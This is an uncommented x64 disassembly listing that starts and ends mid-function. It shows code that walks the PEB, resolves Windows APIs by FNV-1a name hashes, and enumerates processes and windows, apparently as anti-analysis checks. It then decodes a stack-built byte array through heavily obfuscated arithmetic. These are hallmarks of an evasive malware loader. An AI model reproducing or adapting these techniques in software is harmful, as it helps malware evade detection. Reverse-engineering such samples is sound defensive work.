add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021199b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140211990
cmp edx, r14d
je 0x1402119b1
test r11d, r11d
jne 0x14021197b
jmp 0x140211a14
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140211a29
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140211a29
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1402119f3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402119e5
jmp 0x140211a08
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1402119fb
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140211a26
cmp qword [rbx + 0x30], r13
jne 0x1402118f5
mov rdx, r13
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
test rdx, rdx
jne 0x140211b9f
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140211ab0
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140211aa3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140211a94
cmp edx, esi
jne 0x140211b83
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140211b83
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140211b83
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140211b0a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140211aff
cmp edx, r14d
je 0x140211b20
test r11d, r11d
jne 0x140211aea
jmp 0x140211b83
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140211b98
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140211b98
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140211b62
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140211b54
jmp 0x140211b77
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140211b6a
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140211b95
cmp qword [rbx + 0x30], r13
jne 0x140211a64
mov rdx, r13
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
test rdx, rdx
jne 0x140211d0e
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140211c1f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140211c12
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140211c03
cmp edx, esi
jne 0x140211cf2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140211cf2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140211cf2
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140211c79
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140211c6e
cmp edx, r14d
je 0x140211c8f
test r11d, r11d
jne 0x140211c59
jmp 0x140211cf2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140211d07
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140211d07
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140211cd1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140211cc3
jmp 0x140211ce6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140211cd9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140211d04
cmp qword [rbx + 0x30], r13
jne 0x140211bd3
mov rdx, r13
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
cmp qword [0x14044bb58], r13
jne 0x140211e7c
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140211d8b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140211d7e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140211d6f
cmp edx, esi
jne 0x140211e60
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140211e60
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140211e60
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140211de5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140211dda
cmp edx, r14d
je 0x140211dfb
test r9d, r9d
jne 0x140211dc5
jmp 0x140211e60
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140211e75
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140211e75
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140211e3d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140211e2f
jmp 0x140211e53
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140211e46
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140211e72
cmp qword [rbx + 0x30], r13
jne 0x140211d3f
mov r9, r13
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x140211eed
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x140211ed5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140211eb9
cmp edx, 0x610c0de3
je 0x140211f43
mov r8, qword [r8]
cmp r8, r10
je 0x140211ee3
cmp qword [r8 + 0x30], r13
jne 0x140211e9f
mov r8, r13
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140211f3e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140211f22
cmp ecx, 0xe463da3c
je 0x140211f49
add r9d, edi
jmp 0x140211f06
mov r8, qword [r8 + 0x30]
jmp 0x140211ee6
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x1402120dc
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140211fe9
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140211fdc
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140211fcd
cmp edx, esi
jne 0x1402120bb
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1402120bb
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1402120bb
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021203d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140212032
cmp edx, r14d
je 0x140212053
test r10d, r10d
jne 0x14021201d
jmp 0x1402120bb
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1402120d0
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1402120d0
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1402120ae
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x14021208a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1402120a1
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402120cd
cmp qword [rbx + 0x30], r13
jne 0x140211f9d
mov r10, r13
mov qword [0x14044bb88], r10
mov edi, 1
lea r9, [rbp + 0x11b8]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x14021225b
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021216d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140212160
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140212151
cmp edx, esi
jne 0x14021223f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021223f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021223f
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1402121c1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402121b6
cmp edx, r14d
je 0x1402121d7
test r11d, r11d
jne 0x1402121a1
jmp 0x14021223f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140212254
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140212254
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140212232
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x14021220e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x140212225
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140212251
cmp qword [rbx + 0x30], r13
jne 0x140212121
mov r8, r13
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov r14d, 0x40
or r12, 0xffffffffffffffff
lea r8, [rbp + 0x11bc]
mov edx, 0x1000
lea rcx, [rbp + 0x31f0]
call sub.KERNEL32.dll_K32EnumProcesses
mov r15d, 1
test eax, eax
je 0x1402122c4
mov eax, dword [rbp + 0x11bc]
shr eax, 2
test eax, eax
je 0x1402122c4
lea rbx, [rbp + 0x31f0]
mov edi, eax
mov ecx, dword [rbx]
call fcn.14025f988
lea rbx, [rbx + 4]
sub rdi, r15
jne 0x1402122b4
xor edx, edx
lea rcx, [0x1401ea848]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.1401e99fc
test al, al
jne 0x140217451
mov byte [rbp + 0xdf0], 0x9b
mov byte [rbp + 0xdf1], 0x59
mov byte [rbp + 0xdf2], 0x80
mov byte [rbp + 0xdf3], 0x5b
mov byte [rbp + 0xdf4], 0xa0
mov byte [rbp + 0xdf5], 0x45
mov byte [rbp + 0xdf6], 0xbb
mov byte [rbp + 0xdf7], 0x47
mov byte [rbp + 0xdf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xdf9], 0x41
mov byte [rbp + 0xdfa], 0xaf
mov byte [rbp + 0xdfb], 0x43
mov byte [rbp + 0xdfc], 0xde
mov byte [rbp + 0xdfd], Ordinal_79
mov byte [rbp + 0xdfe], 0xdd
mov byte [rbp + 0xdff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xe00], 0xac
mov byte [rbp + 0xe01], Ordinal_79
mov byte [rbp + 0xe02], 0x86
mov byte [rbp + 0xe03], Ordinal_79
mov byte [rbp + 0xe04], 0x99
mov byte [rbp + 0xe05], 0x75
mov byte [rbp + 0xe06], 0x98
mov byte [rbp + 0xe07], 0x77
mov byte [rbp + 0xe08], __WSAFDIsSet
mov byte [rbp + 0xe09], WSAStartup
mov byte [rbp + 0xe0a], 0xef
mov byte [rbp + 0xe0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xe0c], 0xe8
mov byte [rbp + 0xe0d], 0x7d
mov byte [rbp + 0xe0e], 0xe2
mov byte [rbp + 0xe0f], 0x7f
mov byte [rbp + 0xe10], 0x9c
mov byte [rbp + 0xe11], 0x79
mov byte [rbp + 0xe12], 0xbb
mov byte [rbp + 0xe13], 0x7b
mov byte [rbp + 0xe14], 0xf4
mov byte [rbp + 0xe15], 0x65
mov byte [rbp + 0xe16], 0xf6
mov byte [rbp + 0xe17], 0x67
mov byte [rbp + 0xe18], 0xac
mov byte [rbp + 0xe19], 0x61
mov byte [rbp + 0xe1a], 0x83
mov byte [rbp + 0xe1b], 0x63
mov byte [rbp + 0xe1c], 0xf0
mov byte [rbp + 0xe1d], WSAStartup
mov byte [rbp + 0xe1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xe20], Ordinal_143
mov byte [rbp + 0xe21], WSAGetLastError
mov byte [rbp + 0xe22], 0xa7
mov byte [rbp + 0xe23], WSAGetLastError
mov byte [rbp + 0xe24], 0x88
mov byte [rbp + 0xe25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xe26], 0xfe
mov byte [rbp + 0xe27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xe28], 0xfd
mov byte [rbp + 0xe29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe2a], 0x80
mov byte [rbp + 0xe2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xe2c], 0xfd
mov byte [rbp + 0xe2d], Ordinal_30
mov byte [rbp + 0xe2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xe2f], Ordinal_33
mov byte [rbp + 0xe30], 0xfa
mov byte [rbp + 0xe31], Ordinal_30
mov byte [rbp + 0xe32], 0xf3
mov byte [rbp + 0xe33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xe34], __WSAFDIsSet
mov byte [rbp + 0xe35], 5
mov byte [rbp + 0xe36], 6
mov byte [rbp + 0xe37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe38], xmm0
mov qword [rbp + 0xe48], rax
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x140212f0b
movzx r8d, byte [rbp + r10 + 0xdf0]
mov edx, r8d
cmp rbx, r10
ja 0x140212f02
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14021254e
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x140212585
je 0x140212e7e
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140212e2d
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140212dce
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140212da8
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x140212ef9
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1402125bd
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x1402125f1
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140212d5f
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140212d3b
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140212d18
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140212cf5
mov esi, Ordinal_30
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140212929
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140212906
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1402128f2
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1402128cf
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1402128ac
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140212889
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140212862
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140212ed5
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140212eb1
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14021271b
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14021284b
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14021281c
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140212603
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140212808
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1402127f7
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1402127d4
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1402127ad
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140212786
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140212763
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140212740
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140212603
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, sil
jmp 0x1402125f6
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140212d7d
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140212da3
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140212dc6
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140212e1e
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140212cbc
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140212871
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140212a0f
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xdf0], dil
jmp 0x140212ea9
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14021293f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140212e4a
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140212cbc
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140212e1e
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140212dc6
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140212d4a
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140212d7d
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1402129fa
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140212c95
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140212adb
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x140212c6d
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140212b7f
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14021283e
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140212d7d
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140212a27
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140212e9a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140212a53
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140212cbc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140212a7f
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140212e1b
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140212aab
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140212df0
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14021294f
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140212d7d
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140212b07
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x140212d7d
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140212b24
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140212d4a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140212b50
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
jmp 0x140212e1e
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14021298c
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140212cbc
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140212b9c
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140212a0f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140212bc8
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140212e4a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140212bf4
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140212e1b
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140212c11
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140212ddd
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140212c3d
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140212dc6
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1402129c8
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
